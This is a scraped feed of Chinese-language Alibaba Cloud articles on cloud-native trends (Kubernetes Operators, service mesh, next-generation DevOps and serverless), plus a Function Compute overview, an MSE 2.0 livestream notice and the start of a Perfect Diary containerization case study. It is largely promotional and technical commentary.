      纵观云原生时代应用或者云的能力的发展方向,你会发现另一个趋势,就是Operator化。Operator是Kubernetes的一个概念,是指Kubernetes交付的一个实体,这个实体有一个基础模型存在,这个模型分为两部分:一部分是Kubernetes的 API 对象(CRD),另一部分是一个控制器(Controller),如下图所示。
      image.png
      这里要区分两个概念,自定义和自动化。很多人会说 Operator 可以帮助我做自定义,因为很多人都会觉得Kubernetes内置的能力是不够用的,所以用户会利用它的可扩展能力去写一个Controller,从而实现跟多自定义的需求。但自定义只是Operator 中很小的一部分价值,我们今天对应用和能力做Operator化的核心动力在于其实是为了实现自动化,而且只有自动化了,我们才能讲云原生。

      这是因为,云原生带来的最大的红利是可以让我们最大限度、最高效地使用云的能力,二这种最高效、最大化的方式一定没办法通过人工来实现的。换句话说,只有通过自动化的方式去开发、运维应用以及与云进行交互,才能真正把云原生的价值发挥出来。

      而如果要通过自动化的方式跟云进行交互,那么在云原生生态里,必须有一个类似于Controller或者Operator这样的插件的存在。今天阿里巴巴在云上交付的PolarDB、OceanBase等,其实都有一个跟Kubernetes衔接的Controller的存在。通过Controller与基础设施、云进行交互,把云的能力输入到产品里面去。

      在未来,会有大量的云上的应用和对应的运维能力、管理能力都会以Kubernetes Operator 的方式交付。在这个背景下,Kubernetes真正扮演的一个角色就是能力的接入层和标准界面。如下图所示,这是一个非常典型的用户侧Kubernetes集群的样子。
      image.png

      一个用户的Kubernetes只有红框里面这部分是Kubernetes原生提供的API,而大量的能力都是以插件化或者说Operator化的方式存在。就比如上图右边所有这些自定义的资源和能力全部来自于第三方开发,通过Operator 这样一个标准的形态开发出来的能力来服务最终用户的。这就意味着在未来云原生的生态里面,基于CRD Operator的而非Kubernetes原生API的应用和能力会占到绝大多数。

      随着这个趋势的不断演进,越来越多的软件和能力通过Kubernetes Operator去描述和定义,云产品也会开始默认以Kubernetes为底座,基于Operator进行交付。

      正是因为越来越多的Operator的出现,这里就会逐步需要一个中心化的方式去解决Operator潜在的稳定性、可发现性和性能问题,也就是说在未来很可能会有一个横向的Operator管理平台出现,对所有基于Kubernetes Operator开发的应用和能力进行统一管理,从而更好、更专业地服务用户。

      此外,由于未来每一个能力、每一个应用都需要去编写Operator,所以说对开发者友好的Operator编写框架也是未来一个很重要的趋势。这个编写框架可以支持不同语言,如Go、Java、C、Rust语言等,并且编写过程是专注于运维逻辑和应用的管理、能力的管理,而不是专注在Kubernetes的语义和细节上面。

      最后,随着云原生生态的普及,云服务也将实现Operator化,并且面向多集群/混合云场景出现面向应用层的云服务标准化定义与抽象,并在云原生领域逐渐取代IaC项目(比如 Terraform 等)成为云服管理与消费的主流方式。

      三、应用中间件能力进一步下沉

      随着云原生以及整个生态的发展,我们看到应用中间件领域也随之发生了很多改变。从原先最开始的中心化ESB,到后来的胖客户端,逐步演化到今天我们经常提到的Service Mesh这样一种Sidecar化的方式。
      image.png

      其实今天你会发现,无论是云的能力还是基础设施的能力,都在不断丰富,很多原先只能通过中间件做的事情,现在可以很容易通过云服务来实现。应用中间件不再是能力的提供方,而是能力接入的标准界面,并且这个标准界面的构建不再基于胖客户端,而是通过非常普通的HTTP协议、gRPC协议去做,然后通过Sidecar方式把整个服务的接入层跟应用业务逻辑做一个解耦,这其实就是Service Mesh的思想。

      目前Service Mesh只做了传统中间件里面的流量治理、路由策略、访问控制这一层的事情。而实际上,Sidecar 这个模型可以应用到所有中间件的场景里,实现中间件逻辑跟应用业务逻辑完全解耦,让应用中间件能力“下沉”,变成Kubernetes能力的一部分。这样应用本身会更加专一化,更多的关注业务逻辑本身。

      伴随着这个趋势,在Kubernetes这一层还会有另外一个趋势出现,就是Sidecar的自动化的、规模化的运维能力会成为一个必选项。因为Sidecar的数量会极其庞大,应用中间件很可能会演化成Sidecar集群,那么这些Sidecar的管理和规模化的运维能力,会是集群或者云产品的一个必备选项。

      四、下一代DevOps模型与体系

      随着云原生生态的不断发展,云原生理念的不断普及,DevOps的思想很可能也会发生一个本质的变化,即下一代DevOps模型与体系。随着Kubernetes的能力越来越多、越来越强大,基础设施也会变得越来越复杂,那么基于这样一个强大的基础设施去构建一个应用平台就会非常简单,并且这个应用平台最终会取代传统的PaaS平台。

      我们现在之所以在用DevOps这一套思想,实际上是由于基础设施本身不够强大,不够标准化,不够好用,所以我们需要在业务研发侧做一套工具去黏合研发人员和基础设施。例如,基础设施提供的能力是一个虚拟机,怎么能让虚拟机变成研发侧想要的蓝绿发布或者一个渐进式的应用交付系统呢?这就需要一系列的DevOps的工具、CI/CD的流水线来完成。
      但是现在的情况已经发生了变化。基于Kubernetes的基础设施本身的能力已经非常丰富,像蓝绿发布这些能力本身就是Kubernetes可以提供的能力。在这样的背景下,DevOps的发展趋势也会发生很大的改变:

      1、关注点分离

      在 Kubernetes 的背景下,“软件”不再是一个由应用Owner掌控的单一交付物,而是多个Kubernetes对象的集合,而这一堆Kubernetes里面的对象只有很少一部分其实才跟研发有关,所以说有很多对象会不在应用Owner的认知范围内,这就导致平台必须去做关注点分离,研发侧的关注点和运维侧、系统侧的关注点是完全不一样的东西。也就是研发不用再考虑运维方面的细节,比如蓝绿发布怎么做,水平扩容什么策略,只要把业务代码写完交付就好。

      伴随着 Kubernetes和基础设施越来越复杂,概念越来越多,作为平台层是不大可能让研发了解所有的概念,因此未来云原生生态一定会做抽象和分层。每一层的角色只跟属于自己的数据抽象去交互,研发侧有一套自己的声明式API对象,运维侧有一套自己的声明式API对象,每一层的关注点也是不一样的,这会是未来整个DevOps体系里发展的一个重要的背景。

      2、Serverless 泛化

      云原生本身的关注点就是应用,在这样一个背景下,Serverless本身不再是一个独立场景,不再局限在某几个非常垂直的领域,而会变成云原生应用管理体系的一种泛化思想和天然组成部分。我从两个层面解释一下:一是在能力侧,“轻运维”“NoOps”以及“自助式运维能力”会成为应用运维的主流方式。云原生生态上的应用管理会体现出一种轻运维的状态,就是说应用运维不再是一个人工的、非常复杂的过程,而是一组开箱即用的、非常简单的模块化操作。无论是通过Kubernetes还是通过云原生能力,都是对下层基础设施的一个模块化的分装,这跟Serverless所提倡的NoOps理念非常类似。

      二是在应用侧,应用描述会广泛地进行用户侧的抽象,事件驱动和Serverless 理念被拆分和泛化,可以被应用于多样化的场景中而不仅仅是今天狭义的 Serverless 场景比如 FaaS 或者 Container Instance,未来所有的应用都可以实现scale-to-zero。

      3、基于Infrastructure as Data(IaD)思想的应用层技术渐成主流

      第一,基于Infrastructure as Data(IaD)的思想会成为一个主流技术,IaD实际就是Kubernetes的声明式API,声明式API的核心在于把基础设施、应用、能力以一个声明式的文件、声明式的对象去描述,那么这个文件或者对象本身就是“数据”。而Kubernetes或者基础设施这一层是通过数据去驱动的,这就是Infrastructure as Data。这样的思想会延伸出很多技术和前沿的思想,比如GitOps、管道型YAML操作工具(Kustomize/kpt)等。这样的管道型应用管理会成为云原生生态里面一个非常主流的应用管理方式。

      第二,声明式应用定义模型(比如 OAM),以及声明式的CI/CD系统和Pipeline会成为一个新的应用交付的模式。比如传统的Jenkins是一个命令式的组织方式,而随着声明式的Pipeline的出现,加上云原生生态、Kubernetes的普及,基于Infrastructure as Data思想的流水线和下一代的CI/CD系统也会成为业界的主流。这跟以前的CI/CD和流水线有本质的区别,因为这个CI/CD系统里面所有的操作都是一个声明式描述。正因为是声明式描述,所有这些操作以及CI/CD里面的环节都可以托管到Git上,哪怕一个人工审核(Manual Approve)这样的动作都可以托管在Git里面,通过Git去审计和做版本管理等。

      Infrastructure as Data的出现就是告诉我们,未来云原生的系统。一切皆对象,一切皆数据。随着对象和数据越来越多,对他们的管理、审计、验证等就变得越来越复杂,那么围绕它们的策略引擎(Policy Engine)会成为一个非常重要的需求。策略引擎会成为一个非常重要的组件,未来Kubernetes所有的应用平台可能都需要一个策略引擎的存在,帮助用户处理不同场景下对数据的操作策略。

      4、构建于IaD之上的最终用户体验层

      需要注意的一点是,虽然Infrastructure as Data会成为应用层的主流技术,但是它有一个“硬伤”,就是对最终用户并不友好。因为人的大脑比较容易去处理流程化的、规则化的事情,而不是去处理一个静态的数据,所以说在IaD之上会有一层面向最终用户的体验层的存在。这就意味着Kubernetes不会把声明式的数据直接交给最终用户,而是通过其他方式来操作这些数据,比如通过一种能够理解Kubernetes数据模型的动态配置语言(DSL)来完成,或者通过基于API对象的CLI或者dashboard来完成,也可能是通过一种以应用为中心的交互与协作流程来完成。而最终用户体验层会决定产品有没有黏性,这是云原生的这套体系有没有黏性,是不是用户友好的一个关键环节。

      5、DevSecOps

      随着如前所述的下一代DevOps体系的发展,安全会从一开始就变成应用交付的一部分。在业界大家称之为DevSecOps,就是从day zero开始就把安全策略、对安全的考量、安全配置作为应用的一部分,而不是等到应用交付出去了甚至应用已经上线了再去做事后的安全审计和管理。

      五、底层基础设施的Serverless云原生化

      随着云原生体系的发展,云的价值逐渐走向应用层,不断向基于声明式API、基于IaD的理念去发展,那么下层的基础设施也会发生相应的变化。第一个变化是基础设施能力声明式API化、自助化。今天的云是基础设施能力的集大成者,可以认为是一个无限的能力层,今天我们能想象到的基础设施上所有的能力,云都可以提供,这跟以前的基础设施完全不一样。以前云的能力很薄弱,基础设施的能力也很薄弱,所以才需要一个庞大的中间件体系和精密的DevOps体系来做一个“胶水层”,去弥补基础设施跟应用、研发、运维人员之间的鸿沟。

      而未来,应用才是整个云原生生态的主角。应用需要使用某个能力,那么云就会提供这个能力,并且是通过一个标准化的接入层来提供,而不是直接跟基础设施打交道。云原生生态的发展会使得用户侧的视角发生很大的改变,从面向基础设施变为面向应用,从基础设施有什么用户才能用什么,变成用户要什么,基础设施就可以提供什么。以应用为中心的基础设施会是未来基础设施的一个基本形态。
      image.png

      这个理念跟Serverless理念非常类似,我们可以将它称为底层基础设施的Serverless原生化,这意味着基础设施会在未来也逐渐的声明式API化,而声明式API化带来的一个直接结果就是他会变成一个自助化的基础设施。

      另外,由于基础设施能够实现声明式API化,实现自助化,那么打造更加智能化的基础设施就成为一个重要方向。因为基础设施系统的模块化能力变成了一个数据化的定义方式,那么就可以和容易的通过监控数据、历史数据来驱动基础设施的运转,也就是“自动驾驶的基础设施”。数据驱动的智能化基础设施会在未来成为可能,当然其前提是基础设施本身实现声明式API化和自助化。

      与此同时,由于应用层本身会Serverless泛化,像“scale to 0 ”和“pay as you go”这些功能,会成为应用的一个基础的假设,导致资源层也会走向极致弹性+无限资源池的方向。作为一个智能化的基础设施,可以去做更加智能的调度与混部,从而提供极致的资源利用效能,实现成本的极低化。

      与此同时,由于要实现极致的资源效能,就意味着底层一定是一个强多租架构,并且这个强多租架构是面向Kubernetes 的,跟Kubernetes有一个天然的、非常融合的集成。这体现在两个方面:第一,在运行时这一层,这个基础设施会倾向走基于硬件虚拟化的容器运行时而非传统虚拟机的方向,比如Kata Container,并且认为神龙裸金属服务器更适合做宿主机。伴随着这套技术的发展,轻量化的VMM(虚拟化管理技术)会成为优化容器运行时、优化整个基础设施敏捷度的一个关键技术和关键链路。

      第二,强多租的控制面会针对不同租户做物理隔离,而不只是逻辑隔离,这是Kubernetes数据模型的要求,即租户的控制面板之间需要有强的物理隔离,这就是为什么我们讲未来的强多租架构一定会面向Kubernetes来构建。阿里内部也是看到了这样的趋势,在不断做一些尝试,去更好地响应未来Serverless原生化的基础设施的发展趋势。

      云计算的下一站,就是云原生;IT架构的下一站,就是云原生架构,这是属于所有开发者最好的时代。阿里云将于7月上线《云原生架构白皮书》,助力所有的开发者、架构师和技术决策者们,共同定义云原生,拥抱云原生。

      ]]>
      云原生时代业务架构的变革:从单体迈向Serverless Fri, 02 May 2025 09:39:04 +0800 如今,各行各业都在谈数字化转型,尤其是新零售、传媒、交通等行业。数字化的商业形态已经成为主流,逐渐替代了传统的商业形态。在另外一些行业里(如工业制造),虽然企业的商业形态并非以数字化的形式表现,但是在数字孪生理念下,充分利用数据科技进行生产运营优化也正在成为研究热点和行业共识。

      企业进行数字化转型,从生产资料、生产关系、战略规划、增长曲线四个层面来看:

      • 生产资料:数据成为最重要的生产资料,需求/风险随时变化,企业面临巨大的不确定性。
      • 生产关系:数据为中心,非基于流程和规则的固定生产关系。网络效应令生产关系跨越时空限制,多连接方式催生新的业务和物种。
      • 战略规划:基于数据决策,快速应对不确定的商业环境。
      • 增长曲线:数字化技术带来触达海量用户的能力,可带来突破性的增长。

      从云服务商的角度来看云的演进趋势,在Cloud 1.0时代,基础设施的云化是其主题,采用云托管模式,云上云下的应用保持兼容,传统的应用可以直接迁移到云上,这种方式的核心价值在于资源的弹性和成本的低廉;在基础设施提供了海量算力之后,怎么帮助用户更好地利用算力,加速企业创新的速度,就成为云的核心能力。

      如果仍在服务器上构建基础应用,那么研发成本就会很高,管理难度也很大,因此有了Cloud 2.0,也就是云原生时代。在云原生时代,云服务商提供了丰富的托管服务,助力企业数字化转型和创新,用户可以像搭积木一样基于各种云服务来构建应用,大大降低了研发成本。

      云原生应用要素

      云原生应用有三个非常关键的要素:微服务架构,应用容器化和Serverless化,敏捷的软件交付流程。

      1. 微服务架构

      单体架构和微服务架构各有各的特点,其主要特点对比如下图所示。总的来说,单体架构上手快,但是维护难,微服务架构部署较难,但是独立性和敏捷性更好,更适合云原生应用。image.png

      2. 应用容器化和Serverless化

      容器是当前最流行的代码封装方式,借助K8s及其生态的能力,大大降低了整个基础设施的管理难度,而且容器在程序的支撑性方面提供非常出色的灵活性和可移植性,越来越多的用户开始使用容器来封装整个应用。

      Serverless计算是另外一种形态,做了大量的端到端整合和云服务的集成,大大提高了研发效率,但是对传统应用的兼容性没有容器那么灵活,但是也带来了很大的整洁性,用户只需要专注于业务逻辑的编码,聚焦于业务逻辑的创新即可。

      3. 敏捷的应用交付流程

      敏捷的应用交付流程是非常重要的一个要素,主要包括流程自动化,专注于功能开发,快速发现问题,快速发布上线。

      Serverless 计算

      1. 阿里云函数计算

      Serverless是一个新的概念,但是其内涵早就已经存在。阿里云或者AWS的第一个云服务都是对象存储,对象储存实际上就是一个存储领域的Serverless服务;另外,Serverless指的是一个产品体系,而不是单个产品。当前业界云服务商推出的新功能或者新产品绝大多数都是Serverless形态的。阿里云Serverless产品体系包括计算、存储、API、分析和中间件等,目前云的产品体系正在Serverless化。

      阿里云Serverless计算平台函数计算,有4个特点:

      • 和云端无缝集成:通过事件驱动的方式将云端的各种服务与函数计算无缝集成,用户只需要关注函数的开发,事件的触发等均由服务商来完成。
      • 实时弹性伸缩:由系统自动完成函数计算的弹性伸缩,且速度非常快,用户可以将这种能力用在在线应用上。
      • 次秒级计量:次秒级的计量方式提供了一种完全的按需计量方式,资源利用率能达到百分之百。
      • 高可用:函数计算平台做了大量工作帮助用户构建高可用的应用。

      那么,阿里云函数计算是如何做到以上4点呢?阿里云函数计算的产品能力大图如下图所示,首先函数计算产品是建立在阿里巴巴的基础设施服务之上的产品,对在其之上的计算层进行了大量优化。接着在应用层开发了大量能力和工具,基于以上产品能力,为用户提供多种场景下完整的解决方案,才有了整个优秀的函数计算产品。函数计算是阿里云的一个非常基础的云产品,阿里云的许多产品和功能均是建立在函数计算的基础上。目前阿里云函数计算已经在全球19个区域提供服务。image.png

      2. Serverless帮助用户简化云原生应用高可用设计、实施的复杂度

      云原生应用的高可用是一个系统的工程,包括众多方面,完整的高可用体系构建需要很多时间和精力。那么Serverless计算是如何帮助用户简化云原生应用高可用设计、实施的复杂度呢?

      如下图所示,高可用体系建设要考虑的点包括基础设施层、运行时层、数据层以及应用层,且每一层都有大量的工作要做才可以实现高可用。函数计算主要是从容错、弹性、流控、监控四方面做了大量工作来实现高可用,下图中蓝色虚线框所对应的功能均由平台来实现,用户是不需要考虑的。蓝色实线框虽然平台做了一些工作来简化用户的工作难度,但是仍需要用户来进行关注,而橘红色的实线框代表需要用户去负责的部分功能。结合平台提供的功能和用户的部分精力投入,可以极大地减轻用户进行高可用体系建设的难度。image.png
      函数计算在很多方面做了优化来帮助用户建设高可用体系。下图展示了函数计算在可用区容灾方面的能力。从图中可知,函数计算做了相应的负载均衡,使得容灾能力大大提升。

      image.png

      函数计算多可用区容灾


      下图展示的是函数计算对事件的异步处理,其处理流水线主要包括事件队列、事件分发、事件消费三个环节,在每一个环节上都可以进行水平伸缩,其中一个比较关键的点是事件的分发需要匹配下游的消费能力。另外,通过为不同函数指定不同数量的计算资源,用户能方便地动态调整不同类型事件的消费速度。此外,还可以自定义错误重试逻辑,并且有背压反馈和流控,不会在短时间内产生大量请求时压垮下一个服务。

      image.png

      函数计算事件异步处理


      在函数计算的可观测性上面,提供了日志收集和查询功能,除了默认的简单日志查询功能外,还提供了高级日志查询,用户可以更方便地进行日志分析。在指标收集和可视化方面,函数计算提供了丰富的指标收集能力,并且提供了标准指标、概览信息等视图,可以更方便用户进行运维工作。

      下图是应用交付的一个示意图,在整个应用的交付过程中,只有每个环节都做好,才能够建设一个敏捷的应用交付流程,其核心是自动化,只有做到了自动化,才能提升整个流水线的效率和敏捷度。image.png

      敏捷的应用交付流程


      下图展示了自动化应用交付流水线在每个环节的具体任务。其中需要注意的是做到基础设施即代码,才能进行模板定义和自动化设置应用运行环境,进而实现自动化的持续集成等。

      image.png

      自动化应用交付流水线

      做到了应用的自动化交付之后,对整个研发效率的帮助是非常大的。在Serverless应用上,阿里云提供了多种工具来帮助用户实现基础设施即代码。Serverless的模型有一个很好的能力,就是同一份模板可以传入不同的参数,进而生成不同环境的定义,然后通过自动化地管理这些环境。

      对于应用本身不同服务版本的交付和灰度发布,函数计算提供了服务版本和服务别名来提供相应的服务,整个应用的灰度发布流程可以简化成一些API的操作,大大提升业务的效率。通过Serverless计算平台提供的这些能力,整个软件应用的交付流水线自动化程度得到了大幅度的提高。

      函数计算还有一个很有用的功能——对存量应用的兼容性。通过Custom runtime,能够适配很多的流行框架,兼容传统应用,使其能够很容易地适配到Serverless平台上面,由控制台提供应用的创建、部署、关联资源管理、监控等一系列服务。

      除了函数计算,还可以用Serverless工作流对不同的应用环节、不同的函数进行编排,通过描述性的语言去定义工作流,由其可靠地执行每一个步骤,这就大幅度降低用户对于复杂任务的编排难度。

      应用场景案例

      函数计算有几个典型的应用场景,一个就是Web/API后端服务,阿里云已经有包括石墨文档、微博、世纪华联在内的多个成功应用案例。

      函数计算的另外一个应用场景就是大规模的数据并行处理,比如往OSS上面上传大量的图片、音频、文本等数据,可以触发函数做自定义的处理,比如转码、截帧等。这方面的成功案例包括虎扑、分众传媒、百家互联等。

      函数计算还有一个应用场景就是数据实时流式处理,比如不同的设备产生的消息、日志发送到消息队列等管道类似的服务中,就可以触发函数来进行流式处理。

      最后一个应用场景就是运维的自动化,通过定时触发、云监控事件触发、流程编排等方式调用函数完成运维任务,大大降低运维成本和难度,典型的成功案例有图森未来等。

      图森未来是一家专注于L4级别无人驾驶卡车技术研发与应用的人工智能企业,面向全球提供可大规模商业化运营的无人驾驶卡车技术,为全球物流运输行业赋能。在路测过程中会有大量数据产生,而对这些数据的处理流程复杂多变,即使对于同一批数据,不同的业务小组也会有不同的使用及处理方式。如何有效管理不同的数据处理流程、降低人为介入频率能够大幅的提高生产效率。

      路测不定时运行的特点使得流程编排任务运行时间点、运行时长具有极大的不确定性,本地机房独自建立流程管理系统难以最大优化机器利用率,造成资源浪费。而图森未来本地已有许多单元化业务处理脚本及应用程序,但因为各种限制而无法全量的迁移上云,这也对如何合理化使用云上服务带来了挑战。

      针对上述情况,图森未来开始探索数据处理平台的自动化。阿里云 Serverless 工作流按执行调度的次数计费,具有易用易集成、运维简单等诸多优点,能够很好的解决上述场景中所遇到的问题,非常适合这类不定时运行的离线任务场景。

      Serverless 工作流还支持编排本地或自建机房的任务,图森未来通过使用Serverless 工作流原生支持的消息服务MNS解决了云上云下的数据打通问题,使得本地的原有任务得到很好的编排及管理。

      除了调度外,Serverless 工作流也支持对任务的状态及执行过程中所产生的数据进行维护。图森未来通过使用任务的输入输出映射及状态汇报机制,高效的管理了流程中各任务的生命周期及相互间的数据传递。

      在未来,随着业务规模的扩大,图森未来将持续优化离线大数据处理流程的运行效率及自动化水平。通过各种探索,图森未来将进一步提升工程团队的效率,将更多的精力和资金投入到业务创新中去。

      总结

      Serverless 工作流是阿里云 Serverless 产品体系中的关键一环。通过 Serverless 工作流,用户能够将函数计算、视觉智能平台等多个阿里云服务,或者自建的服务,以简单直观的方式编排为工作流,迅速构建弹性高可用的云原生应用。

      自2017年推出函数计算起, 该服务根据应用负载变化实时智能地弹性扩缩容,1分钟完成上万实例的伸缩并保证稳定的延时。目前已经支撑微博、芒果TV、华大基因、图森未来、石墨科技等用户的关键应用,轻松应对业务洪峰。

      ]]>
      微服务引擎 MSE 2.0 重磅发布 Fri, 02 May 2025 09:39:04 +0800 直播主题:微服务引擎 MSE 2.0 重磅发布

      【直播时间】7月8日(今天) 15:00--16:30
      【直播嘉宾】子墚 ,阿里云产品专家;岛风,阿里云高级开发工程师;亦盏,阿里云技术专家
      【直播简介】微服务引擎MSE在原注册中心托管的基础上,新增配置中心托管和微服务治理功能,并通过先进的 Java Agent 技术使得您的应用无需修改任何代码和配置,兼容 Spring Cloud / Duboo 近 5 年的所有版本,客户可享有业内首个集服务注册、服务配置和服务治理于一体的非托管型 PaaS 产品。目前,配置中心不收费,治理中心公测期免费开放。

      直播间地址:戳这里~

      目前微服务引擎 MSE 新购用户享九折优惠,快上车,戳这里,查看详情~

      海报-开发者直播间.png

      ]]>
      节约服务器成本50%以上,独角兽完美日记电商系统容器化改造历程 Fri, 02 May 2025 09:39:04 +0800 完美日记创立于2017年,这家公司上线不到两年即成为天猫彩妆销冠,2019年成为11年来第一个登上天猫双十一彩妆榜首的国货品牌,包揽天猫2019全年彩妆销冠;2020年4月成为首个亮相天猫超级品牌日的国货彩妆品牌,同时勇破彩妆品牌销售纪录。另外,完美日记已在全国各地开设了100家线下店,计划至2022年底开店超600家。截至2020年4月,品牌SKU超过700个,全网用户粉丝数量超过2500万,月曝光量10亿+。

      “轻研发、重营销”是流量思维企业的通病,为了“打造互联网时代新的美妆集团”,在依靠流量和营销快速占据市场的同时,完美日记也在不断夯实其技术底座。今年4月,完美日记已完成IT系统全面容器化,保证了每一次大促活动的系统稳定性和可用性,同时利用阿里云ACK容器快速弹性扩缩容,节约服务器成本50%以上。

      1、完美日记容器化改造之路

      对于一家创业公司而言,常常有三个问题摆在面前:

      如何高效、低成本地搭建系统,同时确保安全稳定?
      如何敏捷构建和发布应用,满足业务需求?
      如何提高团队开发效率,确保开发质量?

      早期大部分互联网公司都是直接购买服务器,租用IDC机房的机架部署,应用是直接运行在物理机上,如果要扩展必须购买新的服务器。IDC会频繁出现各种故障,如果遇到IDC迁移就更麻烦,必须半夜搬机器,天亮前上线,对于企业来说,在成本、服务稳定性、工作效率上都是很大的消耗。

      2019年双11前期,完美日记小程序刚刚上线两个月,就经历双11大促的磨砺。在这两个月里,传统的部署方式,特别是有部分应用需要(openrestry)在SLB上面配置,那么运维人员就要在SLB上一个个勾选服务器,这会导致发布版本的时间需要半个小时以上。如果发版过程中出现问题,往往时间还会延长到一个小时以上。

      在扩容机器的时候,使用其中2台服务器在阿里云打OS镜像,采用开机自启动脚本方式启动应用,针对每次运营活动的实际情况进行扩容。为了保持系统的稳定性,运维人员就需要在每晚23:00点以后通过人工操作进行扩容,手工配置SLB。最后测试人员进行测试,平均每次扩容都需要半个小时以上。并且由于双11期间处于大流量、高并发的场景,整个运维人员对服务器维护、版本迭代、数据库运维等都必须格外谨慎,稍有不慎会导致线上生产事故,服务器运维压力巨大。

      2019年双11之后,完美日记就开始针对性测试阿里云容器服务ACK,并开始容器化改造。

      之所以选择容器技术,是因为完美日记要构建一套现代化IT系统以满足快速变化的需求和挖掘更多的数据价值。具体来看,一方面,完美日记对业务的快速创新以及现有业务的实时性和交互性需求都在不断地增长;另外一方面,完美日记对数据的重视程度也在不断提高,尤其是用户数据的重要性。如何提供优于竞争对手的服务和用户体验,如何合理、有效地发掘更多的数据价值,成为完美日记迫切的需求。容器技术以其独有的高效敏捷和易于扩展的特性,加之庞大的生态系统,可以充分满足完美日记不同阶段的IT需求,这也是完美日记最终选择IT系统全面容器化改造的原因。

      完美日记最开始是自建K8s,使用的是K8s开源版本,但是开源版本有很多bug未知,安全性也是未知,并没有一个比较友好的Web操作界面,还需要大量运维人员解决运行时出现突然的各种问题。从成本和效率等维度来看,并不是一条便捷的路,思虑再三,完美日记最终选择阿里云容器服务ACK。“我们的技术人员跟阿里云的技术人员其实非常熟悉,在双11期间他们也给予了很多技术层面的支持,我们遇到的问题他们基本都遇到过,我们没遇到的问题,他们也都遇到过,站在巨人的肩膀上进行容器化改造,对于当下的完美日记而言,是最合适的。”

      完美日记的容器化实践是按照项目区分两条线并行,第一条线是一次性前后端全部迁移,第二条线是分应用分批次前后端分别迁移。

      (1)一次性前后端全部迁移

      2019年11月初-2019年11月中旬,完美日记开始计划容器化改造的准备事宜以及改造方案,包括容器化改造方案初步实施,阿里云K8s选型,阿里云K8s选型后进行初步测试,结合公司情况和人员相配比情况,最终选择了阿里云托管K8s Master版本进行大规模测试工作,并开始准备UAT环境切换前期工作等事宜。

      2019年11月中旬,第一次切换UAT环境到K8s中失败,因为还有部分在开发中的模块,而K8s中没有对应的模块,因此切换回非K8s环境。

      2019年11月底-2019年12月初,将UAT环境切换到K8s中,这次切换吸取了第一次切换失败的经验,UAT环境正式切换到K8s中。

      2019年12月初-2019年12月中,观察整个UAT环境是否存在有重大问题,然后进行调整。将整个K8s UAT环境按照双11量级进行四轮压力测试,将结果反馈,然后不断进行调整。2019年12月中,尝试将后台正式环境切换到K8s正式环境中,但由于UAT环境中代码版本和正式环境中代码版本不一致,导致第一次尝试切换失败。

      2019年12月中,在第一次切换后台失败中吸取了版本不一致的教训后,经过一天的努力终于将后台正式环境切换到K8s正式环境中,正式环境走出艰难的容器化改造第一步。2020年1月初,经过一天努力,将正式环境顺利切换到K8s正式环境中。

      (2)分应用分批次迁移

      2019年11月底开始准备迁移测试环境方案,2019年12月初,后端和中间件开始新增UAT环境。

      2020年1月2日,后端准备完成。1月3日准备开始前端,1月17日前端完成、UAT环境正式使用。1月17日开始准备正式环境迁移方案,2月迁移方案完成,2月中上旬开始迁移后端,3月中旬后端迁移完成,ZooKeeper、Eureka迁移完成。3月下旬,前端开始迁移,4月初前端基本迁移完成。最终在4月中旬,完美日记IT系统全部迁移完成。

      至此,完美日记全面容器化改造完成。image.png
      在容器化部署过程中,利用ACK的快速弹性应对大促时的资源快速扩容。将完美日记IT系统提前接入阿里云链路追踪产品ARMS,用于对分布式环境下复杂的服务调用进行跟踪,对异常服务进行定位,完美日记可以在测试和生产中快速发现问题,快速修复。使用性能测试服务PTS进行压测,利用PTS的秒级流量拉起、真实地理位置流量等特性,以最真实的互联网流量进行压测。收集压测数据,分析系统强弱依赖和关键瓶颈点,对关键业务接口、关键第三方调用、数据库慢调用、系统整体负载等进行限流保护。在大促前进行ECS/RDS/安全等产品扩容、链路梳理、缓存/连接池预热、监控大屏制作、后端资源保障等,帮助完美日记在大促平稳进行,保持丝般顺滑。

      除了采用容器服务ACK之外,完美日记在一开始进行容器化改造时就使用了阿里云镜像企业版ACR EE,它的优势是比自建harbor要稳定与低成本,因为自建harbor需要考虑计算、数据库以及磁盘成本,如果项目很多或者镜像比较多,那么磁盘成本将比较高。镜像企业版不用考虑维护成本。另外,镜像企业版并发比自建harbor要高,如果大批量进行扩容,自建harbor往往容易出镜像PULL问题,但是镜像企业版就没有这种担忧。

      另外,完美日记也通过ARMS Prometheus来监控系统可能出现的问题,并能针对性地解决问题。ARMS还可以解决整个K8s底层监控(Prometheus)的维护和成本高的难题,它能监控应用每个pod资源使用情况,对pod资源进行调整。K8s底层监控(Prometheus)可以做一个自定义大盘,将Prometheus全部监控信息完整显示出来。

      容器化改造之后,整个系统“轻松了很多”。1月初,在切换到K8s正式环境后,扩容时间只需要90秒左右,节约了6~8倍时间,减少了一名服务器运维人员。根据运营节奏进行扩容,服务器扩容成本节约70%~90%。同时,部署效率大幅提升,可根据文件模板秒级创建一个服务,部署时间减少90%以上。

      另外,服务器资源自动计算部署到服务器,利用隔离技术可部署多个项目服务器,利用率提高50%以上。服务模块的自动负载均衡无需人工干预,工作量减少90%以上。服务模块伸缩容无需编写脚本,只需点击伸缩按钮即可,减少人工错误率,工作量减少70%以上。服务模块不可用会自动剔除,自动重启服务模块。服务器宕机时,服务器上运行的服务模块会自动转移到可用服务器上,无需人工干预,工作量减少100%。

      2、容器化改造更大的挑战是在技术和人员上做好准备

      当企业完成了容器化改造之后,在生产环境中应用容器技术,并计划扩大应用规模,这时企业就必须在技术和人员上做好准备:运维人员是否有足够的能力来应对大规模应用带来的挑战,研发人员是否有足够的技术准备能随时解决大规模应用带来的问题,产品的架构设计是否可以满足未来的企业需求,同时组织架构和文化是否已经适应企业新的战略发展等。

      换句话说,如何让项目组和开发人员之间达成技术同频、战略同频更具挑战性,这其实也是很多在做容器化改造的企业面临的共同难题。

      出现这个问题的核心是项目组的开发人员、架构师、运维人员关注点不一致。开发人员关注系统平稳运行和业务开发,而不关心生产环境底层,只要不影响到生产环境和测试环境就可以。架构师关注底层是否稳定运行,技术架构是否符合未来3~5年技术发展,技术是否简单高效等。运维人员关注发布版本是否简单高效,环境是否能统一,扩缩容时间成本,底层运维过程是否能有解决方案等。

      正是由于三方的关注点不同,因此在迁移过程中就不可避免会花费大量的沟通成本。因为K8s这套系统有别于传统的部署过程,开发人员对 centOS系统、Nginx、MQ、MySQL、查询日志等比较熟悉,但对于K8s不甚了解,Ingress、Docker配置化、Deployment配置、Service等往往已经到了开发人员对技术认知的边界了,这就需要花费较长的时间去解答大家的疑问,才能往下一步进行。

